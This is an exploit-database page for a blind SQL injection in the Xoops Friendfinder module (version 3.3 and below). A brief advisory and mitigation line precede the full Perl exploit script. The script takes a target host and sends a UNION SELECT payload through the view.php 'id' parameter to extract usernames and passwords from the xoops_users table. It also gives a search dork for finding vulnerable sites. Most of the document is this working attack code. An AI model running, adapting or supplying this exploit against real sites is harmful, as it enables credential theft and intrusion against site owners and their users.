Xoops Module Friendfinder - exploit.company

vendor:

Module Friendfinder

by:

ajann

5.5

CVSS

MEDIUM

BLIND SQL Injection

CWE

Product Name: Module Friendfinder

Affected Version From: 3.3

Affected Version To: 3.3

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit

This exploit allows an attacker to perform a blind SQL injection attack on the Xoops Module Friendfinder version 3.3 or below. By manipulating the 'id' parameter in the 'view.php' file, an attacker can extract sensitive information from the database, such as usernames and passwords.

Mitigation:

Upgrade to a secure version of the Xoops Module Friendfinder or apply a patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#[Script Name: Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:/modules/friendfinder/"
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/view.php?id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "-1'%20union%20select%201,2,3,4,5,6,7,8,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/td>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-28]